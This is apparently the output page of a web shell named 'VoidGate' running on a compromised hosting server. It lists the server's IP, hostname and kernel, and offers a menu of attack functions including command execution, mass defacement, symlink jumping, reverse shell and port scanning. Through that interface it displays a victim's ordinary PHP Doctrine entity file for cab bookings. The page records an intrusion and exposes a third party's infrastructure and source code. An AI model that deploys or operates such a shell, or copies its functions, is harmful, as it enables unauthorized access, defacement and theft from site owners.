ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Entity
/
Viewing: CabBooking.php
<?php namespace AppBundle\Entity; use Doctrine\ORM\Mapping as ORM; use JMS\Serializer\Annotation as Serializer; use Symfony\Component\Validator\Constraints as Assert; /** * CabBooking * * @ORM\Table(name="cab_booking") * @ORM\Entity(repositoryClass="AppBundle\Repository\CabBookingRepository") */ class CabBooking { /** * @var int * * @ORM\Column(name="id", type="integer") * @ORM\Id * @ORM\GeneratedValue(strategy="AUTO") * @Serializer\Groups({"LIST", "CAB_BOOKING_DETAILS", "CAB_RIDE_PAYMENT_DETAILS"}) */ private $cabBookingId; /** * @var AppBundle\Entity\Customer * * @ORM\ManyToOne(targetEntity="AppBundle\Entity\Customer") * @Serializer\Groups({"LIST", "CAB_BOOKING_DETAILS", "CAB_RIDE_PAYMENT_DETAILS"}) * @Assert\NotBlank */ private $customer; /** * @var AppBundle\Entity\Cab * * @ORM\ManyToOne(targetEntity="AppBundle\Entity\Cab") * @Serializer\Groups({"LIST", "CAB_BOOKING_DETAILS", "CAB_RIDE_PAYMENT_DETAILS"}) * @Assert\NotBlank */ private $cab; /** * @var \DateTime * * @ORM\Column(name="startTime", type="datetime") * @Serializer\Groups({"LIST", "CAB_BOOKING_DETAILS"}) * @Serializer\Type("DateTime<'Y-m-d H:i'>") * @Assert\NotBlank * @Assert\DateTime(format= "Y-m-d H:i") */ private $startTime; /** * @var int * * @ORM\Column(name="duration", type="integer") * @Serializer\Groups({"LIST", "CAB_BOOKING_DETAILS"}) * @Assert\NotBlank */ private $duration; /** * @var bool * * @ORM\Column(name="withDriver", type="boolean") * @Serializer\Groups({"LIST", "CAB_BOOKING_DETAILS"}) * @Assert\NotBlank */ private $withDriver; /** * @var \DateTime * @Serializer\Groups({"LIST", "CAB_BOOKING_DETAILS"}) * @Assert\NotBlank */ private $createdAt; /** * @var bool * * @ORM\Column(name="is_active", type="boolean") * @Serializer\Groups({"LIST", "CAB_BOOKING_DETAILS"}) * @Assert\NotBlank */ private $isActive = true; public function __construct(Customer $customer = null , $cab = null , $startTime = null , $duration = null, $withDriver = false) { $this->customer = $customer; $this->cab = $cab; $this->startTime = $startTime; $this->duration = $duration; $this->withDriver = $withDriver; $this->createdAt = new \DateTime(); $this->isActive = true; } /** * Get id * * @return integer */ public function getCabBookingId() { return $this->cabBookingId; } /** * Set startTime * * @param \DateTime $startTime * * @return CabBooking */ public function setStartTime($startTime) { $this->startTime = $startTime; return $this; } /** * Get startTime * * @return \DateTime */ public function getStartTime() { return $this->startTime; } public function getEndTime() { $dateInterval = new \dateInterval('PT'.$this->duration.'H'); return date_add($this->startTime,$dateInterval ); } /** * Set duration * * @param integer $duration * * @return CabBooking */ public function setDuration($duration) { $this->duration = $duration; return $this; } /** * Get duration * * @return integer */ public function getDuration() { return $this->duration; } /** * Set withDriver * * @param boolean $withDriver * * @return CabBooking */ public function setWithDriver($withDriver) { $this->withDriver = $withDriver; return $this; } /** * Get withDriver * * @return boolean */ public function getWithDriver() { return $this->withDriver; } /** * Set customer * * @param \AppBundle\Entity\Customer $customer * * @return CabBooking */ public function setCustomer(\AppBundle\Entity\Customer $customer = null) { $this->customer = $customer; return $this; } /** * Get customer * * @return \AppBundle\Entity\Customer */ public function getCustomer() { return $this->customer; } /** * Set cab * * @param \AppBundle\Entity\Cab $cab * * @return CabBooking */ public function setCab(\AppBundle\Entity\Cab $cab = null) { $this->cab = $cab; return $this; } /** * Get cab * * @return \AppBundle\Entity\Cab */ public function getCab() { return $this->cab; } /** * Set isActive * * @param boolean $isActive * * @return CabBooking */ public function setIsActive($isActive) { $this->isActive = $isActive; return $this; } /** * Get isActive * * @return boolean */ public function getIsActive() { return $this->isActive; } }
Coded With 💗 by
0x6ick